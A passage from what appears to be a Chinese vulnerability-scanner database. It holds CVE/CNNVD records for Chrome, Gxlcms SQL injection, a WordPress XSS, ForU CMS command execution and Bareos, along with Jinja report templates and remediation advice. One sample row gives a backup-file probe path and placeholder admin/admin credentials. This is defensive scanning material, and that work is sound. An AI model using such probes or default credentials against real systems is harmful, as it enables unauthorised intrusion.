2. 鉴权，服务端对请求的数据和当前用户身份做校验;完善基础安全架构，完善用户权限体系。
3. 对于后台接口，确保所有 API 接口先经过登录控制器。
4. 在验证用户身份权限前不进行任何数据的交互。 |
|
[{"children": [{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndIncluding": "19.0.1084.51"}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1028.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1029.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1030.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1031.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1032.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1033.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1034.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1035.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1036.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1036.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1036.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1036.4:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1036.6:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1036.7:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1037.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1038.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1039.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1040.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1041.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1042.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1043.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1044.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1045.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1046.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1047.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1048.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1049.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1049.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1049.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1049.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1050.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1051.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1052.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1053.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1054.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1055.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1055.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1055.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1055.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1056.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1056.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1057.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1057.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1057.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1058.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1058.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1059.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1060.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1060.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1061.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1061.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1062.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1062.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1063.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1063.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1064.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1065.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1066.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1067.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1068.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1068.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1069.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1070.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1071.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1072.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1073.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1074.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1075.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1076.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1076.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1077.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1077.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1077.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1077.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1078.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1079.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1080.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1081.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1081.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1082.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1082.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1083.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1084.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1084.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1084.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1084.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1084.4:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1084.5:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1084.6:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1084.7:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1084.8:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1084.9:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1084.10:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1084.11:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1084.12:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1084.13:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1084.14:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1084.15:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1084.16:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1084.17:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1084.18:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1084.19:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1084.20:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1084.21:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1084.22:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1084.23:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1084.24:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1084.25:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1084.26:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1084.27:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1084.28:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1084.29:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1084.30:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1084.31:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1084.32:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1084.33:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1084.35:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1084.36:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1084.37:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1084.38:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1084.39:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1084.40:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1084.41:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1084.42:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1084.43:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1084.44:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1084.45:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1084.46:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1084.47:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1084.48:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:google:chrome:19.0.1084.50:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}]}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": false}]}], "operator": "AND", "cpe_match": []}] | null | f | CT-72363 | CNNVD-201205-450 | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | f | {CT-72363,CVE-2011-3109,CNNVD-201205-450} | medium | 6.3 | null | 可能造成造成信息泄露，getshell，业务系统不稳定等安全问题 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | service | null | Google Chrome是美国谷歌（Google）公司开发的一款Web浏览器。 基于Linux的Google Chrome 19.0.1084.52之前版本中存在漏洞，该漏洞源于未正确执行未明变量的转变。远程攻击者可通过利用关于UI的GTK实现中的错误导致拒绝服务，或者产生其他未明影响。 | CVE-2011-3109 | CVE-2011-3109: Google Chrome 拒绝服务漏洞 | null | 暂无 | f | 24/5/2012 16:00:00 | 建议尽快修复安全问题，并做好安全管理工作，定期进行安全巡检，最大程度地避免安全问题。升级相关加密套件，更新相关软件。 |
|
[] | null | f | CT-341991 | CNNVD-201712-1075 | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | f | {CT-341991,CNNVD-201712-1075} | medium | 0 | null | 攻击者可以在易受攻击的系统上执行任意 SQL 语句。根据正在使用的后端数据库， SQL 注入漏洞会导致攻击者访问不同级别的数据/系统。在某些情况下，可以读入或写出文件，或者在底层操作系统上执行 shell 命令。 | null | service | null | 此编号已经被分配用于标识某安全漏洞，出于安全考虑，漏洞详情暂不公开。 | null | Gxlcms 听书系统 v1.0 SQL注入漏洞 | null | 暂无 | f | 23/1/2018 16:00:00 | - 输入验证
1. 类型判断：字符型、整型；
2. 长度判断：设置最大长度值；
3. 业务参数合法性判断：比如支付金额不可能为负值这种；
4. 特殊字符过滤：比如'，"，\，<，>，&，*，;，#，select，from，where，sub，if，union，sleep，and，or 等；
5. 验证所有的输入点，包括 UA、Cookie 以及其他 HTTP 头；
- 预编译处理 & 参数化查询
1. 所有与数据库交互的业务接口均采用参数化查询，参数化的语句使用参数而不是将用户输入变量嵌入到 SQL 语句中，参数化查询是防御 SQL 注入的最佳方法，比如：Java 中的 PreparedStatement，PHP 中的 PDO 等。 |
|
[] | null | f | null | null | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{% else %}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k, v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% endif %} | null | f | {CNVD-2021-46866} | medium | 0 | CNVD-2021-46866 | 暂无 | null | service | null | WordPress是基于PHP语言开发的博客平台，可以用于在支持PHP和MySQL数据库的服务器上架设网站，也可当做一个内容管理系统（CMS）。
WordPress插件Smart Slider 'name'存在跨站脚本漏洞，该漏洞源于WEB应用缺少对客户端数据的正确验证。攻击者可利用该漏洞执行客户端代码。 | null | CNVD-2021-46866: WordPress插件Smart Slider 'name'跨站脚本漏洞 | null | 暂无 | f | 30/6/2021 16:00:00 | ||
[] | null | f | null | null | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{% else %}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k, v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% endif %} | null | f | {CNVD-2020-27193} | high | 0 | CNVD-2020-27193 | 暂无 | null | service | null | 4UCMS信息科技有限公司成立于2005年，专注于企业级和个人的网络整合营销服务，率先提供全方位、系统化、细分化的专业网络整合营销解决方案。
ForU CMS存在命令执行漏洞，攻击者可利用该漏洞执行任意php命令。 | null | CNVD-2020-27193: ForU CMS存在命令执行漏洞 | null | 暂无 | f | 26/3/2020 16:00:00 | 已由CNVD通过软件生产厂商公开联系渠道向其邮件通报，由其后续提供解决方案并协调相关用户单位处置。 |
|
[{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:a:bareos:bareos:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndExcluding": "21.1.0", "versionStartIncluding": "21.0.0"}, {"cpe23Uri": "cpe:2.3:a:bareos:bareos:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndExcluding": "20.0.6", "versionStartIncluding": "20.0.0"}, {"cpe23Uri": "cpe:2.3:a:bareos:bareos:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndExcluding": "19.2.12", "versionStartIncluding": "18.2"}]}] | null | f | CT-399178 | CNNVD-202203-1436 | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
